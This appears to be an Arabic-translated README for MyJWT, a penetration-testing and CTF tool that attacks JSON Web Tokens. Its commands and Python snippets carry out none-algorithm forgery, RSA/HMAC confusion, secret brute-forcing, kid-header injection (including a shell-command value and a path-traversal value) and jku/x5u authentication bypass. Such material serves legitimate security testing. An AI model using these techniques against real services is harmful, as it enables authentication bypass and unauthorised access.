
أداة سطر أوامر (CLI) لاختراق واختبار الثغرات في رموز الويب JSON (JWT)
هذه الأداة موجهة لمختبرات الاختراق، لاعبين CTF، أو المطورين.
يمكنك تعديل JWT الخاص بك، التوقيع، الحقن، إلخ.
اطلع على التوثيق لمزيد من المعلومات.
إذا واجهت مشاكل أو اقتراحات، أرسل issue. سأستجيب في أقرب وقت ممكن.
استمتع :)
التوثيق متاح على http://myjwt.readthedocs.io
لتثبيت myjwt، استخدم pip:
pip install myjwt
لتشغيل mywt من صورة docker، شغل:
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# On Windows
docker run -v %CD%/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
لتثبيت myjwt، عبر git:
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help
لتثبيت myjwt على BlackArch:
pacman -S myjwt
$ myjwt --help
Usage: myjwt [OPTIONS] JWT
This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc...
Full documentation is at http://myjwt.readthedocs.io.
If you see problems or enhancement send an issue.I will respond as soon as possible.
Enjoy :)
All new jwt will be copy to the clipboard.
Options:
--version Show the version and exit.
--full-payload TEXT New payload for your jwt.Json format Required.
-h, --add-header TEXT Add a new key, value to your jwt header, if key
is present old value will be replaced.Format:
key=value.
-p, --add-payload TEXT Add a new key, value to your jwt payload, if
key is present old value will be
replaced.Format: key=value.
--sign TEXT Sign Your jwt with key given.
--verify TEXT verify your key.
-none, --none-vulnerability Check None Alg vulnerability.
--hmac PATH Check RS/HMAC Alg vulnerability.
--bruteforce PATH Bruteforce to guess the secret used to sign the
token.
-r, --crack TEXT regex to iterate all string possibilities to
guess the secret used to sign the token.
--kid TEXT Kid Injection sql
--jku TEXT Jku Header to bypass authentication
--x5u TEXT X5u Header to bypass authentication
--crt TEXT For x5cHeader, force crt file
--key TEXT For jku or x5c Header, force private key to
your key file
--file TEXT For jku Header and x5u Header, force file name
--print Print Decoded JWT
-u, --url TEXT Url to send your jwt.
-m, --method TEXT Method use for send request to url.(Default
GET).
-d, --data TEXT Data send to your url.Format: key=value. if
value = MY_JWT value will be replace by new
jwt.
-c, --cookies TEXT Cookies to send to your url.Format: key=value.
if value = MY_JWT value will be replace by new
jwt.
--help Show this message and exit.
| الخيار | النوع | مثال | المساعدة |
|---|---|---|---|
| --sign | text | mysecretkey | توقيع JWT الخاص بك بمفتاحك |
| --verify | text | mysecretkey | تحقق من مفتاحك. |
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
المثال الكامل هنا: 01-modify-jwt
myjwt YOUR_JWT --none-vulnerability
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])
المثال الكامل هنا: 02-none-vulnerability
myjwt YOUR_JWT --sign YOUR_KEY
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)
المثال الكامل هنا: 03-sign-key
myjwt YOUR_JWT --bruteforce PATH
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)
المثال الكامل هنا: 04-brute-force
myjwt YOUR_JWT --crack REGEX
myjwt YOUR_JWT --hmac FILE
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)
المثال الكامل هنا: 05-rsa-hmac-confusion
myjwt YOUR_JWT --kid INJECTION
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid
injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)
المثال الكامل هنا: 06-kid-injection
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"
myjwt YOUR_JWT --jku YOUR_URL
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)
المثال الكامل هنا: 07-jku-bypass
myjwt YOUR_JWT --x5u YOUR_URL
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)
المثال الكامل هنا: 08-x5u-bypass
تفقد إصدارات github. أحدث إصدار متاح على https://github.com/mBouamama/MyJWT/releases/latest
make lintmake testأصبح السجل طويلاً نوعًا ما. تم نقله إلى ملف منفصل.
انظر CHANGES.
| الخيار | النوع | مثال | المساعدة |
|---|
| --ful-payload | JSON | {"user": "admin"} | محتوى جديد لـ JWT الخاص بك. |
| -h, --add-header | key=value | user=admin | إضافة مفتاح وقيمة جديدين إلى رأس JWT الخاص بك، إذا كان المفتاح موجودًا سيتم استبدال القيمة القديمة. |
| -p, --add-payload | key=value | user=admin | إضافة مفتاح وقيمة جديدين إلى محتوى JWT الخاص بك، إذا كان المفتاح موجودًا سيتم استبدال القيمة القديمة. |
| الخيار | النوع | مثال | المساعدة |
|---|
| -none, --none-vulnerability | Nothing | تحقق من ثغرة خوارزمية None. | |
| --hmac | PATH | ./public.pem | تحقق من ثغرة خوارزمية RS/HMAC، وقم بتوقيع JWT الخاص بك باستخدام المفتاح العام. |
| --bruteforce | PATH | ./wordlist/big.txt | هجوم القوة الغاشمة لتخمين السر المستخدم في توقيع الرمز. استخدم ملف نصي يحتوي على جميع كلمات المرور (سطر لكل كلمة) |
| --crack | REGEX | "[a-z]{4}" | تعبير منتظم لتكرار كل احتمالات السلسلة لتخمين السر المستخدم في توقيع الرمز. |
| --kid | text | "00; echo /etc/.passwd" | حقن SQL في kid |
| --jku | text | MYPUBLICIP | رأس Jku لتجاوز المصادقة، استخدم --file إذا أردت تغيير اسم ملف jwks، و --key إذا أردت استخدام pem الخاص بك. |
| --x5u | text | MYPUBLICIP | لرأس jku أو x5c، استخدم --file إذا أردت تغيير اسم ملف jwks، و --key إذا أردت استخدام pem الخاص بك. |
| الخيار | النوع | مثال | المساعدة |
|---|
| -u, --url | url | http://challenge01.root-me.org/web-serveur/ch59/admin | الرابط لإرسال JWT الخاص بك. |
| -m, --method | text | POST | الطريقة المستخدمة لإرسال الطلب إلى الرابط. (الافتراضي: GET). |
| -d, --data | key=value | secret=MY_JWT | البيانات المرسلة إلى الرابط. الصيغة: key=value. إذا كانت القيمة = MY_JWT سيتم استبدالها بـ JWT الجديد الخاص بك. |
| -c, --cookies | key=value | secret=MY_JWT | الكوكيز المرسلة إلى الرابط. الصيغة: key=value. إذا كانت القيمة = MY_JWT سيتم استبدالها بـ JWT الجديد الخاص بك. |
| الخيار | النوع | مثال | المساعدة |
|---|
| --crt | PATH | ./public.crt | لرأس x5c، فرض ملف crt |
| --key | PATH | ./private.pem | لرأس jku أو x5c، فرض المفتاح الخاص إلى ملف المفتاح الخاص بك |
| --file | text | myfile | لرأس jku، فرض اسم ملف بدون امتداد .json |
| Nothing | طباعة JWT المفكوك | ||
| --help | Nothing | إظهار رسالة المساعدة والخروج. | |
| --version | Nothing | إظهار إصدار Myjwt |